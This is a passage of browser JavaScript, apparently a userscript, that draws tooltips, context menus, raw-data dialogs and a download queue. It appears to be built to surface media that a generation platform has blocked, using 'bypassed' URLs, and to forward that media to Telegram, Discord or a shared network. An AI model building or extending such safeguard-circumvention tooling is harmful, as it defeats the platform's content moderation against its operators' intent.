if (!tasksContent) return;
const stats = getTaskActionStats();
const textEl = tasksContent.querySelector('[data-bypass-tasks-progress-text]');
const barEl = tasksContent.querySelector('[data-bypass-tasks-progress-bar]');
const previewHost = tasksContent.querySelector('[data-bypass-tasks-progress-preview]');
if (textEl) {
const completed = stats.done + stats.failed;
if (stats.current) {
textEl.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
} else {
textEl.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
}
}
if (barEl) {
const completed = stats.done + stats.failed;
barEl.style.width = `${stats.total ? Math.round((completed / stats.total) * 100) : 0}%`;
}
const cache = loadTaskActions();
let needsRebuild = false;
cache.items.forEach(entry => {
const key = `${entry.action}:${entry.imageId}`;
const row = tasksContent.querySelector(`[data-bypass-task-row="${key}"]`);
if (!row) {
needsRebuild = true;
return;
}
const statusEl = row.querySelector('[data-bypass-task-status]');
if (statusEl) statusEl.textContent = entry.status;
const errorEl = row.querySelector('[data-bypass-task-error]');
if (entry.status === 'failed' && entry.error) {
if (errorEl) {
errorEl.textContent = `Error: ${entry.error}`;
errorEl.style.display = 'block';
}
} else if (errorEl) {
errorEl.style.display = 'none';
}
});
if (previewHost) {
if (!settings.showDownloadPreview || !stats.current || !['download', 'telegram', 'discord'].includes(stats.current.action)) {
previewHost.style.display = 'none';
} else {
previewHost.style.display = 'block';
}
}
if (needsRebuild) {
updateUI();
}
}
function attachBlockedTooltip(target, html, options = {}) {
if (!settings.showBlockedTooltip || !target || !html) return;
if (target.closest('.bypass-container')) return;
if (target.dataset.bypassTooltip === 'true') return;
target.dataset.bypassTooltip = 'true';
const { previewItem = null } = options;
const shouldPreview = settings.showBlockedTooltipPreview && previewItem?.imageId;
let tooltip = null;
let previewEl = null;
const positionTooltip = () => {
if (!tooltip) return;
const rect = target.getBoundingClientRect();
const top = Math.max(8, rect.top - tooltip.offsetHeight - 12);
const left = Math.max(8, Math.min(window.innerWidth - tooltip.offsetWidth - 8, rect.left + rect.width / 2 - tooltip.offsetWidth / 2));
tooltip.style.top = `${top}px`;
tooltip.style.left = `${left}px`;
};
const loadPreview = async () => {
if (!previewEl || previewEl.dataset.loaded === 'true') return;
previewEl.dataset.loaded = 'true';
try {
const url = await ensureDownloadUrl(previewItem.imageId, previewItem.mimeType || '');
if (!url) throw new Error('No preview URL');
const isVideo = previewItem.mimeType?.startsWith('video/');
previewEl.innerHTML = '';
if (isVideo) {
const vid = document.createElement('video');
vid.autoplay = true;
vid.loop = true;
vid.muted = true;
vid.playsInline = true;
vid.preload = 'metadata';
vid.src = url;
vid.className = 'bypass-tooltip-preview-media';
previewEl.appendChild(vid);
} else {
const img = document.createElement('img');
img.src = url;
img.className = 'bypass-tooltip-preview-media';
previewEl.appendChild(img);
}
} catch (err) {
previewEl.innerHTML = '<div class="bypass-tooltip-preview-placeholder">Preview unavailable</div>';
}
};
const show = () => {
if (tooltip && !tooltip.isConnected) {
tooltip = null;
previewEl = null;
}
if (settings.keepBlockedTooltipOpen && activeBlockedTooltip && activeBlockedTooltip.tooltip && activeBlockedTooltip.tooltip !== tooltip) {
activeBlockedTooltip.tooltip.style.opacity = '0';
}
const itemData = previewItem?.imageId ? getTooltipItemData(previewItem.imageId, previewItem) : null;
const taskData = itemData?.taskId ? resolveTaskData(itemData.taskId) : null;
const dynamicHtml = itemData ? buildBlockedTooltipContent(itemData, taskData) : html;
if (!tooltip) {
tooltip = document.createElement('div');
tooltip.className = 'bypass-blocked-tooltip bypass-blocked-tooltip-floating';
tooltip.innerHTML = dynamicHtml;
if (settings.keepBlockedTooltipOpen) {
const closeBtn = document.createElement('button');
closeBtn.textContent = '×';
closeBtn.style.cssText = `
position: absolute;
top: 6px;
right: 6px;
width: 20px;
height: 20px;
border-radius: 50%;
border: none;
background: rgba(239, 68, 68, 0.2);
color: #ef4444;
cursor: pointer;
font-size: 14px;
line-height: 18px;
`;
closeBtn.onclick = (e) => {
e.stopPropagation();
tooltip.style.opacity = '0';
activeBlockedTooltip = null;
};
tooltip.appendChild(closeBtn);
}
if (shouldPreview) {
const previewWrap = document.createElement('div');
previewWrap.className = 'bypass-tooltip-preview';
previewWrap.innerHTML = '<div class="bypass-tooltip-preview-placeholder">Loading preview…</div>';
tooltip.appendChild(previewWrap);
previewEl = previewWrap;
}
tooltip.addEventListener('click', async (e) => {
if (!settings.keepBlockedTooltipOpen) return;
if (e.target && e.target.tagName === 'BUTTON') return;
e.stopPropagation();
const imageId = previewItem?.imageId || previewItem?.id;
if (!imageId) return;
const data = getTooltipItemData(imageId, previewItem || {});
const mimeType = data?.mimeType || previewItem?.mimeType || '';
const url = await ensureDownloadUrl(imageId, mimeType);
if (!url) return;
openImageModal(url, data?.taskId || previewItem?.taskId, data?.createdAt || previewItem?.createdAt, data?.expiresAt || previewItem?.expiresAt, [], imageId, data?.mimeType || previewItem?.mimeType || '');
});
tooltip.addEventListener('contextmenu', (e) => {
e.preventDefault();
tooltip.style.opacity = '0';
activeBlockedTooltip = null;
});
document.body.appendChild(tooltip);
} else {
tooltip.innerHTML = dynamicHtml;
if (shouldPreview) {
const previewWrap = document.createElement('div');
previewWrap.className = 'bypass-tooltip-preview';
previewWrap.innerHTML = '<div class="bypass-tooltip-preview-placeholder">Loading preview…</div>';
tooltip.appendChild(previewWrap);
previewEl = previewWrap;
}
}
tooltip.style.opacity = '0';
tooltip.style.visibility = 'hidden';
tooltip.style.pointerEvents = settings.keepBlockedTooltipOpen ? 'auto' : 'none';
requestAnimationFrame(() => {
positionTooltip();
tooltip.style.visibility = 'visible';
tooltip.style.opacity = '1';
});
if (shouldPreview) loadPreview();
if (settings.keepBlockedTooltipOpen) {
const imageId = previewItem?.imageId || previewItem?.id || null;
activeBlockedTooltip = { tooltip, target, imageId, previewItem, shouldPreview, previewEl };
}
};
const hide = () => {
if (!tooltip) return;
if (settings.keepBlockedTooltipOpen) return;
tooltip.style.opacity = '0';
};
target.addEventListener('mouseenter', show);
target.addEventListener('mouseleave', hide);
window.addEventListener('scroll', () => {
if (settings.keepBlockedTooltipOpen) {
if (tooltip) tooltip.style.opacity = '0';
if (activeBlockedTooltip && activeBlockedTooltip.tooltip === tooltip) {
activeBlockedTooltip = null;
}
return;
}
if (tooltip && tooltip.style.opacity === '1') positionTooltip();
}, { passive: true });
window.addEventListener('resize', positionTooltip, { passive: true });
}
function attachInfoTooltip(infoIcon, text) {
if (!infoIcon || !text) return;
const showDialog = () => {
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed; top: 0; left: 0; right: 0; bottom: 0;
background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(6px);
display: flex; align-items: center; justify-content: center;
z-index: 100000;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: ${settings.theme === 'dark' ? '#1e1e2e' : '#ffffff'};
color: ${settings.theme === 'dark' ? '#e0e0e0' : '#1f2937'};
border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#e5e7eb'};
border-radius: 12px;
padding: 20px 22px;
max-width: 420px;
width: 90%;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
`;
dialog.innerHTML = `
<div style="display:flex; align-items:center; gap:10px; margin-bottom:10px;">
<i class="fas fa-info-circle" style="color:#6366f1;"></i>
<strong style="font-size:14px;">Setting Info</strong>
</div>
<div style="font-size:13px; line-height:1.6;">${text}</div>
<div style="display:flex; justify-content:flex-end; margin-top:16px;">
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 14px;">Close</button>
</div>
`;
dialog.querySelector('button').onclick = () => overlay.remove();
overlay.onclick = (e) => { if (e.target === overlay) overlay.remove(); };
overlay.appendChild(dialog);
document.body.appendChild(overlay);
};
let tooltip = null;
infoIcon.onmouseenter = () => {
if (!tooltip) {
tooltip = document.createElement('div');
tooltip.className = 'bypass-hover-tooltip';
tooltip.textContent = text;
tooltip.style.opacity = '0';
infoIcon.appendChild(tooltip);
}
requestAnimationFrame(() => {
tooltip.style.opacity = '1';
});
};
infoIcon.onmouseleave = () => {
if (tooltip) tooltip.style.opacity = '0';
};
infoIcon.onclick = (e) => {
e.stopPropagation();
showDialog();
};
}
function attachInjectedHelpTooltip(target, text) {
if (!target || !text) return;
if (!settings.showInjectedHelpTooltips) return;
if (!settings.injectOnDom && !settings.safeViewMode) return;
if (target.dataset.bypassInjectedTooltip === 'true') return;
target.dataset.bypassInjectedTooltip = 'true';
let tooltip = null;
const position = () => {
if (!tooltip) return;
const rect = target.getBoundingClientRect();
const top = Math.max(8, rect.top - tooltip.offsetHeight - 10);
const left = Math.max(8, Math.min(window.innerWidth - tooltip.offsetWidth - 8, rect.left + rect.width / 2 - tooltip.offsetWidth / 2));
tooltip.style.top = `${top}px`;
tooltip.style.left = `${left}px`;
};
const show = () => {
if (activeInjectedTooltip && activeInjectedTooltip.tooltip && activeInjectedTooltip.tooltip !== tooltip) {
activeInjectedTooltip.tooltip.style.opacity = '0';
}
if (!tooltip) {
tooltip = document.createElement('div');
tooltip.className = 'bypass-injected-tooltip';
tooltip.textContent = text;
document.body.appendChild(tooltip);
}
tooltip.style.opacity = '0';
requestAnimationFrame(() => {
position();
tooltip.style.opacity = '1';
});
activeInjectedTooltip = { tooltip, target };
};
const hide = () => {
if (!tooltip) return;
tooltip.style.opacity = '0';
};
target.addEventListener('mouseenter', show);
target.addEventListener('mouseleave', hide);
window.addEventListener('scroll', hide, { passive: true });
window.addEventListener('resize', position, { passive: true });
}
function setItemSelected(imageId, selected) {
if (!imageId) return;
if (selected) {
selectedItems.add(imageId);
} else {
selectedItems.delete(imageId);
}
}
function toggleItemSelected(imageId) {
if (!imageId) return;
if (selectedItems.has(imageId)) {
selectedItems.delete(imageId);
} else {
selectedItems.add(imageId);
}
}
function clearContextMenu() {
if (activeContextMenu && activeContextMenu.parentElement) {
activeContextMenu.remove();
}
activeContextMenu = null;
}
function isFloatingWindowInteractiveTarget(target) {
if (!(target instanceof Element)) return false;
return Boolean(target.closest([
'button',
'input',
'textarea',
'select',
'option',
'a',
'label',
'.bypass-btn',
'.bypass-btn-icon',
'.bypass-tab',
'.bypass-item-card',
'[data-bypass-item-id]',
'[data-bypass-task-actions]',
'[data-bypass-task-download]',
'[data-bypass-task-telegram]',
'[data-bypass-task-safeview]',
'[data-bypass-task-profile]',
'.bypass-account-context-menu',
'.bypass-context-menu',
'.bypass-hover-tooltip',
'.bypass-modal-overlay',
'.n-button',
'.vi-button'
].join(',')));
}
function centerFloatingWindow() {
settings.position = {
...settings.position,
top: '50%',
left: '50%',
right: 'auto'
};
saveSettings();
const panel = document.querySelector('.bypass-container');
if (panel) {
panel.style.top = '50%';
panel.style.left = '50%';
panel.style.right = 'auto';
panel.style.transform = 'translate(-50%, -50%)';
}
}
function resetFloatingWindowSizeAndCenter() {
settings.fullscreen = false;
settings.positionBeforeFullscreen = null;
settings.position = {
...settings.position,
top: '50%',
left: '50%',
right: 'auto',
width: defaultSettings.position.width,
height: defaultSettings.position.height
};
saveSettings();
const panel = document.querySelector('.bypass-container');
if (panel) {
panel.classList.remove('bypass-fullscreen');
panel.style.top = '50%';
panel.style.left = '50%';
panel.style.right = 'auto';
panel.style.width = defaultSettings.position.width;
panel.style.height = defaultSettings.position.height;
panel.style.transform = 'translate(-50%, -50%)';
}
}
function armFloatingWindowMove(panel) {
if (!panel) return;
panel.dataset.bypassMoveArmed = 'true';
panel.classList.add('bypass-move-armed');
floatingMenuSuppressUntil = Date.now() + 250;
showToast('Move mode armed — click and drag the floating window.', 'info');
}
function showFloatingWindowContextMenu(x, y, panel) {
if (!panel) return;
clearContextMenu();
const colors = getThemeColors();
const menu = document.createElement('div');
menu.className = 'bypass-context-menu';
menu.style.cssText = `
position: fixed;
top: ${Math.max(8, y)}px;
left: ${Math.max(8, x)}px;
background: ${colors.bgSecondary};
color: ${colors.text};
border: 1px solid ${colors.border};
border-radius: 14px;
padding: 6px;
min-width: 150px;
z-index: 100000;
box-shadow: 0 18px 44px rgba(0,0,0,0.35);
backdrop-filter: blur(20px);
`;
const addItem = (labelHtml, onClick, accent = null) => {
const btn = document.createElement('div');
btn.innerHTML = labelHtml;
btn.style.cssText = `
padding: 9px 10px;
font-size: 12px;
border-radius: 8px;
cursor: pointer;
color: ${accent || 'inherit'};
display: flex;
align-items: center;
gap: 8px;
font-weight: 600;
`;
btn.onmouseenter = () => { btn.style.background = colors.bgTertiary; };
btn.onmouseleave = () => { btn.style.background = 'transparent'; };
btn.onclick = () => {
onClick();
clearContextMenu();
};
menu.appendChild(btn);
};
addItem('<i class="fas fa-arrows-up-down-left-right"></i> Move', () => {
armFloatingWindowMove(panel);
});
addItem('<i class="fas fa-compress-arrows-alt"></i> Center', () => {
centerFloatingWindow();
});
addItem('<i class="fas fa-rotate-left"></i> Reset size + center', () => {
resetFloatingWindowSizeAndCenter();
});
addItem('<i class="fas fa-eye-slash"></i> Hide', () => {
isExpanded = false;
updateUI();
}, '#f59e0b');
menu.addEventListener('contextmenu', (e) => {
e.preventDefault();
e.stopPropagation();
clearContextMenu();
resetFloatingWindowSizeAndCenter();
showToast('Floating window reset to default size and centered.', 'success');
});
document.body.appendChild(menu);
activeContextMenu = menu;
requestAnimationFrame(() => {
const rect = menu.getBoundingClientRect();
const nextLeft = Math.max(8, Math.min(window.innerWidth - rect.width - 8, x));
const nextTop = Math.max(8, Math.min(window.innerHeight - rect.height - 8, y));
menu.style.left = `${nextLeft}px`;
menu.style.top = `${nextTop}px`;
});
const close = () => clearContextMenu();
setTimeout(() => {
window.addEventListener('click', close, { once: true });
window.addEventListener('scroll', close, { once: true, passive: true });
}, 0);
}
function showDataControlContextMenu(x, y, result) {
if (!result) return;
clearContextMenu();
const menu = document.createElement('div');
menu.style.cssText = `
position: fixed;
top: ${y}px;
left: ${x}px;
background: ${settings.theme === 'dark' ? '#1e293b' : '#ffffff'};
color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#e2e8f0'};
border-radius: 10px;
padding: 6px;
min-width: 180px;
z-index: 100000;
box-shadow: 0 12px 30px rgba(0,0,0,0.35);
`;
const addItem = (labelHtml, onClick) => {
const btn = document.createElement('div');
btn.innerHTML = labelHtml;
btn.style.cssText = 'padding: 8px 10px; font-size: 12px; border-radius: 6px; cursor: pointer;';
btn.onmouseenter = () => { btn.style.background = settings.theme === 'dark' ? '#334155' : '#f1f5f9'; };
btn.onmouseleave = () => { btn.style.background = 'transparent'; };
btn.onclick = () => {
onClick();
clearContextMenu();
};
menu.appendChild(btn);
};
addItem('<i class="fas fa-copy"></i> Copy Raw JSON', async () => {
const json = JSON.stringify(result.data, null, 2);
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(json);
} else {
const ta = document.createElement('textarea');
ta.value = json;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
ta.remove();
}
showToast('Raw JSON copied to clipboard', 'success');
});
if (settings.sharedNetworkEnabled) {
addItem('<i class="fas fa-network-wired"></i> Send to Shared Network', () => {
if (!sharedNetIsConfigured()) {
showToast('Shared Network is disabled or not configured', 'warning');
return;
}
sharedNetSendRawPayloadNow(result, 'data-control-context-menu', `data_control_${result.type || 'result'}`)
.then(() => showToast('Shared Network: sent', 'success'))
.catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
});
}
if (result.type === 'task') {
addItem('<i class="fas fa-search"></i> View Task Details', () => {
showTaskPreviewDialog(result);
});
addItem('<i class="fas fa-trash"></i> Delete Task', () => {
showDeleteCacheDialog(result.taskId);
});
addItem('<i class="fas fa-file-export"></i> Export Task Data', () => {
const json = JSON.stringify(result.data, null, 2);
const blob = new Blob([json], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `task_${result.taskId}_${Date.now()}.json`;
a.click();
URL.revokeObjectURL(url);
showToast('Task data exported', 'success');
});
} else {
addItem('<i class="fas fa-search"></i> View Item Details', () => {
showTaskPreviewDialog(result);
});
addItem('<i class="fas fa-trash"></i> Delete Item', () => {
showConfirmDialog(`Delete item ${result.id}?`, () => {
deleteItemFromCache(result.id);
updateUI();
});
});
}
document.body.appendChild(menu);
activeContextMenu = menu;
const close = () => clearContextMenu();
setTimeout(() => {
window.addEventListener('click', close, { once: true });
window.addEventListener('scroll', close, { once: true, passive: true });
}, 0);
}
function colorizeJsonHtml(value) {
const json = JSON.stringify(value, null, 2) || '{}';
const escaped = escapeHtml(json);
return escaped.replace(/("(?:\\u[\da-fA-F]{4}|\\[^u]|[^\\"])*"\s*:?)|(\btrue\b|\bfalse\b|\bnull\b)|(-?\b\d+(?:\.\d+)?(?:[eE][+\-]?\d+)?\b)/g, (match, keyLike, boolLike, numLike) => {
if (keyLike) {
if (/:$/.test(keyLike)) return `<span style="color:#93c5fd;">${keyLike}</span>`;
return `<span style="color:#86efac;">${keyLike}</span>`;
}
if (boolLike) return `<span style="color:#fbbf24;">${boolLike}</span>`;
if (numLike) return `<span style="color:#fca5a5;">${numLike}</span>`;
return match;
});
}
async function buildItemRawPayload(item) {
const imageId = String(item?.id || item?.imageId || '');
if (!imageId) return null;
const uiItem = itemsData.find(it => String(it?.id || '') === imageId) || item || {};
const mapMeta = itemMap.get(imageId) || {};
const cacheSnapshot = loadCache();
const cacheItem = (Array.isArray(cacheSnapshot?.items) ? cacheSnapshot.items : []).find(it => String(it?.id || it?.imageId || '') === imageId) || {};
const candidateTaskId = uiItem.taskId || mapMeta.taskId || mapMeta.routeId || cacheItem.taskId || null;
const taskData = resolveTaskData(candidateTaskId) || null;
const mimeType = uiItem.mimeType || mapMeta.mimeType || cacheItem.mimeType || '';
let bypassedUrl = getCachedDownloadUrl(imageId, mimeType)
|| cacheItem.bypassedUrl
|| uiItem.url
|| mapMeta.url
|| null;
if (!bypassedUrl) {
bypassedUrl = await ensureDownloadUrl(imageId, mimeType).catch(() => null);
}
return {
generatedAt: new Date().toISOString(),
imageId,
bypassedUrl: bypassedUrl || null,
uiItem,
itemMapMeta: mapMeta,
cacheItem,
resolvedTask: taskData ? {
taskId: taskData.taskId || null,
routeId: taskData.routeId || null,
createdAt: taskData.createdAt || null,
expireAt: taskData.expireAt || null,
status: taskData.status || null,
workspaceType: taskData.workspaceType || null,
workflowTemplateInfo: taskData.workflowTemplateInfo || null,
workflowInfo: taskData.workflowInfo || null,
mediaFlags: taskData.mediaFlags || null,
itemsCount: Array.isArray(taskData.items) ? taskData.items.length : 0
} : null
};
}
async function showItemRawDataDialog(item) {
const payload = await buildItemRawPayload(item);
if (!payload) {
showToast('Unable to build item raw data', 'warning');
return;
}
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
inset: 0;
z-index: 10000040;
background: rgba(2, 6, 23, 0.86);
backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
padding: 16px;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
width: min(980px, 96vw);
max-height: 90vh;
background: ${colors.bg};
border: 1px solid ${colors.border};
border-radius: 14px;
box-shadow: 0 24px 70px rgba(0, 0, 0, 0.55);
display: flex;
flex-direction: column;
overflow: hidden;
color: ${colors.text};
`;
const header = document.createElement('div');
header.style.cssText = `
display:flex;
align-items:center;
justify-content:space-between;
gap:10px;
padding:12px 14px;
border-bottom:1px solid ${colors.border};
background:${colors.bgSecondary};
`;
header.innerHTML = `
<div style="min-width:0;">
<div style="font-weight:800; font-size:14px;"><i class="fas fa-code" style="margin-right:6px; color:${colors.primary};"></i> Item Raw Data</div>
<div style="font-size:11px; color:${colors.textSecondary}; font-family:Consolas, monospace; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(payload.imageId)}</div>
</div>
`;
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px; align-items:center;';
const copyBtn = document.createElement('button');
copyBtn.className = 'bypass-btn bypass-btn-secondary';
copyBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy JSON';
copyBtn.onclick = async () => {
const json = JSON.stringify(payload, null, 2);
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(json);
} else {
const ta = document.createElement('textarea');
ta.value = json;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
ta.remove();
}
showToast('Raw JSON copied', 'success');
};
const openBtn = document.createElement('button');
openBtn.className = 'bypass-btn bypass-btn-secondary';
openBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open URL';
openBtn.disabled = !payload.bypassedUrl;
openBtn.onclick = () => {
if (!payload.bypassedUrl) return;
window.open(payload.bypassedUrl, '_blank');
};
const closeBtn = document.createElement('button');
closeBtn.className = 'bypass-btn bypass-btn-secondary';
closeBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
closeBtn.onclick = () => overlay.remove();
actions.appendChild(copyBtn);
actions.appendChild(openBtn);
actions.appendChild(closeBtn);
header.appendChild(actions);
const pre = document.createElement('pre');
pre.style.cssText = `
margin:0;
padding:14px;
overflow:auto;
flex:1;
font-family:Consolas, 'Courier New', monospace;
font-size:12px;
line-height:1.55;
background:${settings.theme === 'dark' ? '#020617' : '#f8fafc'};
color:${colors.text};
white-space:pre-wrap;
word-break:break-word;
`;
pre.innerHTML = colorizeJsonHtml(payload);
dialog.appendChild(header);
dialog.appendChild(pre);
overlay.appendChild(dialog);
overlay.onclick = (e) => {
if (e.target === overlay) overlay.remove();
};
document.body.appendChild(overlay);
}
function showItemContextMenu(x, y, item) {
if (!item?.id) return;
clearContextMenu();
const menu = document.createElement('div');
menu.style.cssText = `
position: fixed;
top: ${y}px;
left: ${x}px;
background: ${settings.theme === 'dark' ? '#1e293b' : '#ffffff'};
color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#e2e8f0'};
border-radius: 10px;
padding: 6px;
min-width: 160px;
z-index: 100000;
box-shadow: 0 12px 30px rgba(0,0,0,0.35);
`;
const addItem = (label, onClick) => {
const btn = document.createElement('div');
btn.textContent = label;
btn.style.cssText = 'padding: 8px 10px; font-size: 12px; border-radius: 6px; cursor: pointer;';
btn.onmouseenter = () => { btn.style.background = settings.theme === 'dark' ? '#334155' : '#f1f5f9'; };
btn.onmouseleave = () => { btn.style.background = 'transparent'; };
btn.onclick = () => {
onClick();
clearContextMenu();
if (isExpanded) refreshSelectionUI();
};
menu.appendChild(btn);
};
const applySelectionToggle = () => {
if (selectedItems.size > 0) {
toggleItemSelected(item.id);
} else {
setItemSelected(item.id, true);
}
};
addItem(selectedItems.has(item.id) ? 'Unselect item' : 'Select item', applySelectionToggle);
addItem('View media', async () => {
const url = await ensureDownloadUrl(item.id, item.mimeType || '');
if (!url) return;
const data = getTooltipItemData(item.id, item) || item;
openImageModal(url, data?.taskId || item.taskId, data?.createdAt || item.createdAt, data?.expiresAt || item.expiresAt, [], item.id, data?.mimeType || item.mimeType || '');
});
addItem('Force load preview', async () => {
const ok = await forceLoadPreviewForItem(item.id);
if (!ok) {
const url = await ensureDownloadUrl(item.id, item.mimeType || '');
if (!url) return;
}
});
addItem('Select all', () => {
itemsData.forEach(it => setItemSelected(it.id, true));
});
addItem('Unselect all', () => {
selectedItems.clear();
});
addItem('Select images', () => {
itemsData.forEach(it => setItemSelected(it.id, it.type !== 'Video' && !it.mimeType?.startsWith('video/')));
});
addItem('Select videos', () => {
itemsData.forEach(it => setItemSelected(it.id, it.type === 'Video' || it.mimeType?.startsWith('video/')));
});
const selectionList = () => {
const list = selectedItems.size > 0 ? itemsData.filter(it => selectedItems.has(it.id)) : [item];
return list.filter(it => it?.id);
};
if (settings.telegramEnabled && settings.telegramChatId) {
addItem('Send to Telegram', () => {
const list = selectionList();
const allowDuplicate = !settings.preventDuplicateTasks;
list.forEach(it => enqueueTaskAction('telegram', it.id, getItemMetaFromId(it.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
});
}
if (settings.discordEnabled && settings.discordWebhook) {
addItem('Send to Discord', () => {
const list = selectionList();
const allowDuplicate = !settings.preventDuplicateTasks;
list.forEach(it => enqueueTaskAction('discord', it.id, getItemMetaFromId(it.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
});
}
if (settings.sharedNetworkEnabled) {
addItem('Send to Shared Network', () => {
const list = selectionList();
if (!sharedNetIsConfigured()) {
showToast('Shared Network is disabled or not configured', 'warning');
return;
}
sharedNetSendItemsNow(list, 'item-context-menu')
.then(() => showToast('Shared Network: sent', 'success'))
.catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
});
}
addItem('Download', () => {
const list = selectionList();
const allowDuplicate = !settings.preventDuplicateTasks;
list.forEach(it => enqueueTaskAction('download', it.id, getItemMetaFromId(it.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
});
addItem('Show Raw Data', async () => {
const list = selectionList();
const target = list[0] || item;
await showItemRawDataDialog(target);
});
addItem('Delete from Cache', () => {
const list = selectionList();
const itemIds = list.map(it => it.id);
showConfirmDialog(`Delete ${itemIds.length} item(s) from cache?`, () => {
itemIds.forEach(id => deleteItemFromCache(id));
updateUI();
});
});
addItem('Hide from UI', () => {
const list = selectionList();
list.forEach(it => markItemAsHidden(it.id));
updateUI();
});
document.body.appendChild(menu);
activeContextMenu = menu;
const close = () => clearContextMenu();
setTimeout(() => {
window.addEventListener('click', close, { once: true });
window.addEventListener('scroll', close, { once: true, passive: true });
}, 0);
}
function getProfileFlattenedItems(profileName) {
const profiles = getTaskProfiles();
const profile = profiles[profileName];
if (!profile?.tasks?.length) return [];
const out = [];
for (const taskEntry of profile.tasks) {
const taskId = taskEntry?.taskId || taskEntry?.taskData?.taskId || null;
const taskData = taskEntry?.taskData || resolveTaskData(taskId) || {};
const items = Array.isArray(taskData?.items) ? taskData.items : [];
for (const rawItem of items) {
if (!rawItem?.imageId) continue;
const cached = itemMap.get(rawItem.imageId) || {};
const mapped = itemsData.find(i => i.id === rawItem.imageId) || {};
out.push({
id: rawItem.imageId,
imageId: rawItem.imageId,
taskId: taskId || mapped.taskId || cached.taskId || null,
createdAt: taskData?.createdAt || mapped.createdAt || null,
expireAt: taskData?.expireAt || mapped.expiresAt || mapped.expireAt || null,
mimeType: rawItem.mimeType || mapped.mimeType || cached.mimeType || 'image/*',
width: rawItem.width || mapped.width || cached.width || null,
height: rawItem.height || mapped.height || cached.height || null,
downloadFileName: rawItem.downloadFileName || mapped.downloadFileName || cached.downloadFileName || null,
url: rawItem.url || mapped.url || cached.url || null,
sourceTaskData: taskData
});
}
}
const uniq = new Map();
out.forEach(item => {
if (!uniq.has(item.id)) uniq.set(item.id, item);
});
return Array.from(uniq.values());
}
function showProfileMediaPreviewDialog(item, dialogColors) {
if (!item?.id && !item?.imageId) return;
const colors = dialogColors || getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
inset: 0;
z-index: 10000005;
background: ${settings.inheritTheme ? 'var(--mask-primary, rgba(2, 6, 23, 0.88))' : 'rgba(2, 6, 23, 0.9)'};
backdrop-filter: blur(6px);
display: flex;
align-items: center;
justify-content: center;
padding: 16px;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
width: min(1200px, 96vw);
height: min(92vh, 920px);
background: ${colors.bg};
border: 1px solid ${colors.border};
border-radius: 14px;
overflow: hidden;
display: flex;
flex-direction: column;
box-shadow: 0 26px 80px rgba(0, 0, 0, 0.45);
`;
const header = document.createElement('div');
header.style.cssText = `
display: flex;
align-items: center;
justify-content: space-between;
gap: 10px;
padding: 10px 12px;
border-bottom: 1px solid ${colors.border};
color: ${colors.text};
background: ${colors.bgSecondary};
`;
const title = document.createElement('div');
title.style.cssText = 'font-size: 12px; font-weight: 600; min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;';
title.textContent = `${item.id || item.imageId} • ${item.mimeType || 'unknown'}`;
const closeBtn = document.createElement('button');
closeBtn.className = 'bypass-btn bypass-btn-secondary';
closeBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
closeBtn.onclick = () => overlay.remove();
header.appendChild(title);
header.appendChild(closeBtn);
const mediaWrap = document.createElement('div');
mediaWrap.style.cssText = `
flex: 1;
background: ${colors.bg};
display: flex;
align-items: center;
justify-content: center;
overflow: hidden;
padding: 12px;
`;
const footer = document.createElement('div');
footer.style.cssText = `
display: flex;
align-items: center;
justify-content: space-between;
gap: 8px;
padding: 8px 12px;
border-top: 1px solid ${colors.border};
background: ${colors.bgSecondary};
color: ${colors.textSecondary};
font-size: 11px;
`;
const info = document.createElement('div');
info.textContent = `Task: ${item.taskId || 'N/A'}${item.width && item.height ? ` • ${item.width}x${item.height}` : ''}`;
const action = document.createElement('button');
action.className = 'bypass-btn bypass-btn-secondary';
action.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
action.innerHTML = '<i class="fas fa-download"></i> Download';
action.onclick = async () => {
try {
await downloadMediaById(item.id || item.imageId, item.mimeType);
} catch (err) {
showToast(`Download failed: ${err.message}`, 'error');
}
};
footer.appendChild(info);
footer.appendChild(action);
const renderMedia = async () => {
const url = item.url || await ensureDownloadUrl(item.id || item.imageId, item.mimeType || '');
if (!url) {
mediaWrap.innerHTML = `<div style="color:${colors.textSecondary}; font-size:12px;">Preview unavailable</div>`;
return;
}
if (item.mimeType?.startsWith('video/')) {
const video = document.createElement('video');
video.src = url;
video.controls = true;
